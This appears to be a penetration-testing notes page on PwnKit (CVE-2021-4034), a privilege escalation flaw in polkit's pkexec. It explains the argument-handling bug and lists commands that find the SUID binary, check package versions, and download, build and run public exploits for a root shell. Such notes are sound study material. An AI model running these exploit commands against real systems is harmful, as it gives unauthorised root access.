PwnKit

CVE-2021-4034

Theory

CVE-2021-4034 (pwnkit) was discovered by researchers at Qualys. The vulnerability has existed in every version of the "Policy Toolkit" (or, Polkit) package since it was first released in 2009 and allows any unprivileged attacker to easily obtain full administrative access over any Linux machine with the Polkit package installed. Polkit is installed by default on most distributions of Linux, making this vulnerability extremely widespread. The Pwnkit vulnerability exists in the pkexec utility. The pkexec command is used by authorized users to execute commands at elevated privileges (like using sudo).

Pkexec attempts to parse any command-line arguments that we pass it using a for-loop, starting at the index 1 to offset the name of the program and obtain the first real argument. The name of the program is irrelevant to argument parsing, so the indexing is simply offset to ignore it. But if we don't provide any arguments, the index is permanently set to 1. This becomes a problem later when pkexec attempts to write to the value of the argument at index n. As there are no command-line arguments, there is no argument at index n — instead the program overwrites the next thing in memory, which just so happens to be the first value in the list of environment variables when the program is called using a C function called execve(). In other words, by passing pkexec a null list of arguments, we can force it to overwrite an environment variable instead! - TryHackMe

Practice

To make the PwnKit exploit working. The SUID bit on the pkexec binary must be set

$ find / -type f -name *pkexec* -perm -4000 2>/dev/null
/usr/bin/pkexec

Check if the policykit package is vulnerable

#Debian/Ubuntu
apt list --installed | grep -i polkit

#RHEL/CentOs/Fedora
rpm -qa | grep -i polkit

#SUE
zypper search -i polkit

#Oracle Linux
pkginfo | grep -i polkit

Here is a summary table of patched versions by OS. Earlier versions are vulnerable

OS Version

Patched version

We can use this exploit made by ly4k. It should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS.

#Run the exploit
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit        # interactive shell
./PwnKit 'id'   # single command

# Or you may want to compile it by yourself
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

Alternativly, we can use this exploit made by arthepsy

gcc cve-2021-4034-poc.c -o cve-2021-4034-poc
./cve-2021-4034-poc

Ressource

Last updated 1 year ago